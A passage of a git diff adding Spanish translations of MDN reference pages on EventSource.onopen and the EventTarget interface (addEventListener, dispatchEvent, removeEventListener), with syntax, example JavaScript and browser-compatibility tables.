+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte EventSource</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers compartidos y dedicados<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte EventSource</td>
+   <td>4.4</td>
+   <td>45</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>4.1</td>
+  </tr>
+  <tr>
+   <td>Disponible en workers compartidos y dedicados<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pero <a href="https://github.com/w3c/ServiceWorker/issues/947">todavía no disponible en service workers</a>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a></li>
+</ul>
diff --git a/files/es/web/api/eventsource/onopen/index.html b/files/es/web/api/eventsource/onopen/index.html
new file mode 100644
index 0000000000..109962298c
--- /dev/null
+++ b/files/es/web/api/eventsource/onopen/index.html
@@ -0,0 +1,127 @@
+---
+title: EventSource.onopen
+slug: Web/API/EventSource/onopen
+translation_of: Web/API/EventSource/onopen
+---
+<div>{{APIRef('WebSockets API')}}</div>
+
+<p>La propiedad <code><strong>onopen</strong></code> de la interfaz  {{domxref("EventSource")}}  es un {{domxref("EventHandler")}} llamado cuando un evento  {{event("open")}} es recibido, esto pasa cuando la conexión fue solo abierta.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">eventSource.onopen = function</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">evtSource.onopen = function() {
+  console.log("Connection to server opened.");
+};</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Tu puedes encontrar un ejemplo completo en GitHub — ve <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#handler-eventsource-onopen", "onopen")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Available in shared and dedicated workers<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <table class="compat-table">
+     <tbody>
+      <tr>
+       <th>Caracteristica</th>
+      </tr>
+     </tbody>
+    </table>
+   </th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>EventSource support</td>
+   <td>4.4</td>
+   <td>45</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>4.1</td>
+  </tr>
+  <tr>
+   <td>Available in shared and dedicated workers<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("53.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] But <a href="https://github.com/w3c/ServiceWorker/issues/947">not service workers as yet</a>.</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{domxref("EventSource")}}</li>
+</ul>
diff --git a/files/es/web/api/eventtarget/addeventlistener/index.html b/files/es/web/api/eventtarget/addeventlistener/index.html
new file mode 100644
index 0000000000..d5b3aa4aef
--- /dev/null
+++ b/files/es/web/api/eventtarget/addeventlistener/index.html
@@ -0,0 +1,335 @@
+---
+title: element.addEventListener
+slug: Web/API/EventTarget/addEventListener
+translation_of: Web/API/EventTarget/addEventListener
+---
+<p>{{apiref("DOM Events")}}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><code>addEventListener()</code> Registra un evento a un objeto en específico. El <a href="/en-US/docs/DOM/EventTarget" title="DOM/EventTarget">Objeto especifico</a> puede ser un simple <a href="/en-US/docs/DOM/element" title="DOM/element">elemento</a> en un archivo, el mismo  <code><a href="/en-US/docs/DOM/document" title="DOM/document">documento</a></code> , una <code><a href="/en-US/docs/DOM/window" title="DOM/window">ventana</a></code> o un  <code><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>.</p>
+
+<p>Para registrar más de un eventListener, puedes llamar <code>addEventListener()</code> para el mismo elemento pero con diferentes tipos de eventos o parámetros de captura.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><em>target</em>.addEventListener(tipo, <em>listener</em>[, <em>useCapture</em>]);
+<em>target</em>.addEventListener(tipo, <em>listener</em>[, <em>useCapture</em>, <em>wantsUntrusted </em>{{ Non-standard_inline() }}]); // Gecko/Mozilla only</code></pre>
+
+<dl>
+ <dt><code>tipo</code></dt>
+ <dd>Una cadena representando el  <a class="internal" href="/en-US/docs/DOM/event.type" title="DOM/Event.type">tipo de evento</a> a escuchar.</dd>
+ <dt><code>listener</code></dt>
+ <dd>El objeto que recibe una notificación cuando un evento de el tipo especificado ocurre. Debe ser un objeto implementando la interfaz <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener"><code>EventListener</code></a> o solo una <a href="/en-US/docs/JavaScript/Guide/Functions" title="JavaScript/Guide/Functions">function</a> en JavaScript.</dd>
+ <dt><code>useCapture</code> {{ optional_inline() }}</dt>
+ <dd>Si es <code>true</code>, <code>useCapture</code> indica que el usuario desea iniciar la captura.   Después de iniciar la captura, todos los eventos del tipo especificado serán lanzados al <code>listener</code> registrado antes de comenzar  a ser controlados por algún <code>EventTarget</code> que esté por debajo en el arbol DOM del documento.
+ <div class="note"><strong>Note:</strong> For event listeners attached to the event target; the event is in the target phase, rather than capturing and bubbling phases. Events in the target phase will trigger all listeners on an element regardless of the <code>useCapture</code> parameter.</div>
+
+ <div class="note"><strong>Note:</strong> <code>useCapture</code> became optional only in more recent versions of the major browsers; for example, it was not optional prior to Firefox 6. You should provide that parameter for broadest compatibility.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>wantsUntrusted {{Non-standard_inline}}</dt>
+ <dd>If <code>true</code>, the listener receives synthetic events dispatched by web content (the default is <code>false</code> for chrome and <code>true</code> for regular web pages). This parameter is only available in Gecko and is mainly useful for the code in add-ons and the browser itself. See <a href="https://developer.mozilla.org/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a> for an example.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;DOM Event Example&lt;/title&gt;
+
+&lt;style&gt;
+#t { border: 1px solid red }
+#t1 { background-color: pink; }
+&lt;/style&gt;
+
+&lt;script&gt;
+// Function to change the content of t2
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = "three";
+}
+
+// Function to add event listener to t
+function load() {
+  var el = document.getElementById("t");
+  el.addEventListener("click", modifyText, false);
+}
+
+document.addEventListener("DOMContentLoaded", load, false);
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;table id="t"&gt;
+   &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+   &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="https://jsfiddle.net/madBYK/UumUP">Ver en el JSFiddle</a></p>
+
+<p>En el ejemplo anterior , <code>modifyText()</code> es una listener para los eventos <code style="font-style: normal; line-height: 1.5;">click</code><span style="line-height: 1.5;"> registrados utilzando</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">addEventListener()</code><span style="line-height: 1.5;">. Un click en cualquier parte de la tabla notificara al handler y ejecutara la función  </span><code style="font-style: normal; line-height: 1.5;">modifyText()</code><span style="line-height: 1.5;">.</span></p>
+
+<p>Si quieres pasar parámetros a la función del listener, debes utilizar funciones anónimas.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;DOM Event Example&lt;/title&gt;
+
+&lt;style&gt;
+#t { border: 1px solid red }
+#t1 { background-color: pink; }
+&lt;/style&gt;
+
+&lt;script&gt;
+
+// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Function to add event listener to t
+function load() {
+  var el = document.getElementById("t");
+  el.addEventListener("click", function(){modifyText("four")}, false);
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body onload="load();"&gt;
+
+&lt;table id="t"&gt;
+  &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+  &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<h3 id="Why_use_addEventListener.3F" name="Why_use_addEventListener.3F">¿Porqué utilizar <code>addEventListener</code>?</h3>
+
+<p><code>addEventListener</code> es la forma de registrar un listener de eventos, como se especifica en W3C DOM. Sus beneficios son los siguientes:</p>
+
+<ul>
+ <li>Permite agregar mas de un listener a un solo evento. Esto es particularmente útil para las librerias  <a href="/en-US/docs/DHTML" title="DHTML">DHTML</a> o las <a href="/en-US/docs/Extensions" title="Extensions">Extensiones de Mozilla</a> que deben funcionar bien, incluso si se utilizan otras librerias/extensiones.</li>
+ <li>Da un control mas detallado de la fase en la que el listener se activa (capturing vs. bubbling)</li>
+ <li>Funciona en cualquier elemento del DOM, no únicamente con elementos de HTML.</li>
+</ul>
+
+<p>La alternativa,  <a href="#Older_way_to_register_event_listeners">Antigua forma de registrar event listeners</a> es descrita a continuación.</p>
+
+<h3 id="Adding_a_listener_during_event_dispatch" name="Adding_a_listener_during_event_dispatch">Adding a listener during event dispatch</h3>
+
+<p>If an <code>EventListener</code> is added to an <code>EventTarget</code> while it is processing an event, it will not be triggered by the current actions but may be triggered during a later stage of event flow, such as the bubbling phase.</p>
+
+<h3 id="Multiple_identical_event_listeners" name="Multiple_identical_event_listeners">Multiple identical event listeners</h3>
+
+<p>If multiple identical <code>EventListener</code>s are registered on the same <code>EventTarget</code> with the same parameters, the duplicate instances are discarded. They do not cause the <code>EventListener</code> to be called twice, and since the duplicates are discarded, they do not need to be removed manually with the <a href="/en-US/docs/Web/API/EventTarget/removeEventListener" title="DOM/element.removeEventListener">removeEventListener</a> method.</p>
+
+<h3 id="The_value_of_this_within_the_handler" name="The_value_of_this_within_the_handler">The value of <code>this</code> within the handler</h3>
+
+<p>It is often desirable to reference the element from which the event handler was fired, such as when using a generic handler for a series of similar elements. When attaching a function using <code>addEventListener()</code> the value of <code>this</code> is changed—note that the value of <code>this</code> is passed to a function from the caller.</p>
+
+<p>In the example above, the value of <code>this</code> within <code>modifyText()</code> when called from the click event is a reference to the table 't'. This is in contrast to the behavior that occurs if the handler is added in the HTML source:</p>
+
+<pre class="brush: html notranslate">&lt;table id="t" onclick="modifyText();"&gt;
+  . . .
+</pre>
+
+<p>The value of <code>this</code> within <code>modifyText()</code> when called from the onclick event will be a reference to the global (window) object.</p>
+
+<div class="note"><strong>Note:</strong> JavaScript 1.8.5 introduces the <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="JavaScript/Reference/Global Objects/Function/bind">Function.prototype.bind()</a></code> method, which lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Note, however, that you'll need to keep a reference to the listener around so you can later remove it.</div>
+
+<p>This is an example with and without <code>bind</code>:</p>
+
+<pre class="brush: js notranslate">var Something = function(element)
+{
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, as this is the element
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', as this is the binded Something object
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+</pre>
+
+<p>A problem in the example above is that you cannot remove the listener with <code>bind</code>. Another solution is using a special function called <code>handleEvent</code> to catch any events:</p>
+
+<pre class="brush: js notranslate">var Something = function(element)
+{
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', as this is the Something object
+    switch(event.type) {
+      case 'click':
+        // some code here...
+        break;
+      case 'dblclick':
+        // some code here...
+        break;
+    }
+  };
+
+  // Note that the listeners in this case are this, not this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // You can properly remove the listners
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+</pre>
+
+<h3 id="Compatibility" name="Compatibility">Legacy Internet Explorer and attachEvent</h3>
+
+<p>In Internet Explorer versions prior to IE 9, you have to use <code><a class="external" href="http://msdn.microsoft.com/en-us/library/ms536343(VS.85).aspx">attachEvent</a></code> rather than the standard <code>addEventListener</code>. To support IE, the example above can be modified to:</p>
+
+<pre class="brush: js notranslate">if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+</pre>
+
+<p>There is a drawback to <code>attachEvent</code>, the value of <code>this</code> will be a reference to the <code>window</code> object instead of the element on which it was fired.</p>
+
+<h3 id="Older_way_to_register_event_listeners" name="Older_way_to_register_event_listeners">Older way to register event listeners</h3>
+
+<p><code>addEventListener()</code> was introduced with the DOM 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a> specification. Before then, event listeners were registered as follows:</p>
+
+<pre class="brush: js notranslate">// Pass a function reference — do not add '()' after it, which would call the function!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+    // ... function logic ...
+};
+</pre>
+
+<p>This method replaces the existing <code>click</code> event listener(s) on the element if there are any. Similarly for other events and associated event handlers such as <code>blur</code> (<code>onblur</code>), <code>keypress</code> (<code>onkeypress</code>), and so on.</p>
+
+<p>Because it was essentially part of DOM 0, this method is very widely supported and requires no special cross–browser code; hence it is normally used to register event listeners dynamically unless the extra features of <code>addEventListener()</code> are needed.</p>
+
+<h3 id="Memory_issues" name="Memory_issues">Memory issues</h3>
+
+<pre class="brush: js notranslate">var i;
+var els = document.getElementsByTagName('*');
+
+// Case 1
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", function(e){/*do something*/}, false});
+}
+
+// Case 2
+function processEvent(e){
+  /*do something*/
+}
+
+for(i=0 ; i&lt;els.length ; i++){
+  els[i].addEventListener("click", processEvent, false});
+}
+
+</pre>
+
+<p>In the first case, a new (anonymous) function is created at each loop turn. In the second case, the same previously declared function is used as an event handler. This results in smaller memory consumption. Moreover, in the first case, since no reference to the anonymous functions is kept, it is not possible to call <code><a href="/en-US/docs/Web/API/EventTarget/removeEventListener" title="DOM/element.removeEventListener">element.removeEventListener</a></code> because we do not have a reference to the handler, while in the second case, it's possible to do <code>myElement.removeEventListener("click", processEvent, false)</code>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>9.0</td>
+   <td>7</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>useCapture</code> made optional</td>
+   <td>1.0</td>
+   <td>6.0</td>
+   <td>9.0</td>
+   <td>11.60</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>9.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h4 id="Gecko_notes">Gecko notes</h4>
+
+<ul>
+ <li>Prior to Firefox 6, the browser would throw if the <code>useCapture</code> parameter was not explicitly <code>false</code>. Prior to Gecko 9.0 {{ geckoRelease("9.0") }}, <code>addEventListener()</code> would throw an exception if the <code>listener</code> parameter was <code>null</code>; now the method returns without error, but without doing anything.</li>
+</ul>
+
+<h4 id="WebKit_notes">WebKit notes</h4>
+
+<ul>
+ <li>Although WebKit has explicitly added <code>[optional]</code> to the <code>useCapture</code> parameter <a class="external" href="http://trac.webkit.org/changeset/89781">as recently as June 2011</a>, it had been working before the change. The new change landed in Safari 5.1 and Chrome 13.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/element.removeEventListener" title="DOM/element.removeEventListener">element.removeEventListener()</a></li>
+ <li><a href="/en-US/docs/DOM/Creating_and_triggering_events" title="DOM/Creating_and_triggering_custom_events">Creating and triggering custom events</a></li>
+ <li><a class="external" href="http://www.quirksmode.org/js/this.html" title="http://www.quirksmode.org/js/this.html">More details on the use of <code>this</code> in event handlers</a></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-addEventListener" title="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-addEventListener">DOM Level 2 Events: EventTarget.addEventListener</a></li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html#events-EventTarget-addEventListener" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html#events-EventTarget-addEventListener">DOM Level 3 Events: EventTarget.addEventListener</a></li>
+</ul>
diff --git a/files/es/web/api/eventtarget/dispatchevent/index.html b/files/es/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..22a15ca8b5
--- /dev/null
+++ b/files/es/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,35 @@
+---
+title: element.dispatchEvent
+slug: Web/API/EventTarget/dispatchEvent
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{ ApiRef("DOM Events")}}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Lanza un evento en el sistema de eventos. El evento está sujeto al mismo comportamiento y capacidades que si fuera un evento de lanzamiento directo.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>bool</em> = <em>element</em>.dispatchEvent(<em>event</em>)
+</pre>
+
+<ul>
+ <li><code>element</code> es el objetivo (<code>target</code> en Inglés) del evento.</li>
+ <li><code>event</code> es un objeto de tipo <a href="es/DOM/event">event</a> que será lanzado.</li>
+ <li>El valor devuelto es <code>false</code>, si al menos uno de los negociadores (en Inglés:<em>handler</em> ) que manejan el evento es <a href="es/DOM/event.preventDefault">preventDefault</a>. En caso contrario, devuelve <code>true</code>.</li>
+</ul>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Como se ve en el ejemplo anterior, <code>dispatchEvent</code> es el último paso en el proceso crear-inicializar-lanzar, que se usa para el lanzamiento manual de eventos en el modelo de implementación de eventos.</p>
+
+<p>El evento puede ser creado mediante el método <a href="es/DOM/document.createEvent">document.createEvent</a> e inicializado usando <a href="es/DOM/event.initEvent">initEvent</a> u otro método, más específicamente, métodos de inicialización como <a href="es/DOM/event.initMouseEvent">initMouseEvent</a> o <a href="es/DOM/event.initUIEvent">initUIEvent</a>.</p>
+
+<p>Ver también <a href="es/DOM/event">Event object reference</a>.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventTarget-dispatchEvent">DOM Level 2 Events: dispatchEvent</a></p>
diff --git a/files/es/web/api/eventtarget/index.html b/files/es/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..f263590861
--- /dev/null
+++ b/files/es/web/api/eventtarget/index.html
@@ -0,0 +1,119 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+  - API
+translation_of: Web/API/EventTarget
+---
+<p>{{ ApiRef("DOM Events") }}</p>
+
+<p><code>EventTarget</code> es una interfaz implementada por los objetos que pueden administrar eventos y sus escuchadores.</p>
+
+<p>{{domxref("Element")}}, {{domxref("document")}}, y {{domxref("window")}} son los objetivos más comunes de un evento, pero otros objetos pueden serlo también, por ejemplo {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}}, entre otros.</p>
+
+<p>Muchos objetivos de eventos tales como: elementos, documentos y ventanas, también admiten la configuración de controladores de eventos a través de propiedades y atributos.</p>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Registre un controlador de eventos de un tipo de evento específico en EventTarget.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd>Elimina un detector de eventos del EventTarget.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd>Enviar un evento a este EventTarget.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>A few parameters are now optional (<code>listener</code>), or accepts the <code>null</code> value (<code>useCapture</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9.0</td>
+   <td>7</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>9.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Additional_methods_for_Mozilla_chrome_code">Additional methods for Mozilla chrome code</h3>
+
+<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. See also <a href="/en-US/docs/Mozilla/WebIDL_bindings" title="/en-US/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{ non-standard_inline() }}</li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{ non-standard_inline() }}</li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Reference/Events" title="/en-US/docs/Web/Reference/Events">Event reference</a> - Los eventos disponibles en la plataforma</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events" title="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a> - Guía sobre eventos para desarrolladores</li>
+ <li>{{domxref("Event")}} - Interface</li>
+</ul>
diff --git a/files/es/web/api/eventtarget/removeeventlistener/index.html b/files/es/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..1b022bbe50
--- /dev/null
+++ b/files/es/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,217 @@
+---
+title: EventTarget.removeEventListener()
+slug: Web/API/EventTarget/removeEventListener
+tags:
+  - API
+  - DOM
+  - Event
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>El método <strong><code>EventTarget.removeEventListener()</code></strong> remueve del {{domxref("EventTarget")}} un detector de evento previamente registrado con {{domxref("EventTarget.addEventListener")}}. El detector de evento a ser removido es identificado usando una combinación de de tipos de eventos, la misma funcion del detector de eventos, y muchas opciones adicionales que pueden afectar</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>target</var>.removeEventListener(<var>type</var>, <var>listener</var>[, <var>options</var>]);
+<em>target</em>.removeEventListener(<em>tipo</em>, <em>listener</em>[, <em>useCapture</em>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><var>tipo</var></dt>
+ <dd>Un string representando el tipo de evento del que se está removiendo un detector de evento.</dd>
+ <dt><var>detector (listener)</var></dt>
+ <dd>La función {{domxref("EventListener")}} del manejador de evento a eliminar del objetivo del evento.</dd>
+ <dt><var>options</var> {{optional_inline}}</dt>
+ <dd>Un objeto que especifíca diversas características acerca del detector de eventos. Las opciones disponibles son:
+ <ul>
+  <li><code>capture</code>: Un {{jsxref("Boolean")}} que indica que eventos de este tipo serán enviados al <code>listener</code> antes de ser enviado a cualquier <code>EventTarget</code> debado de éste en el DOM.</li>
+  <li>{{non-standard_inline}}<code> mozSystemGroup</code>: Sólo disponible ejecutando XBL o Firefox' chrome, es un {{jsxref("Boolean")}} que define si el detector es añadido al grupo del sistema.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
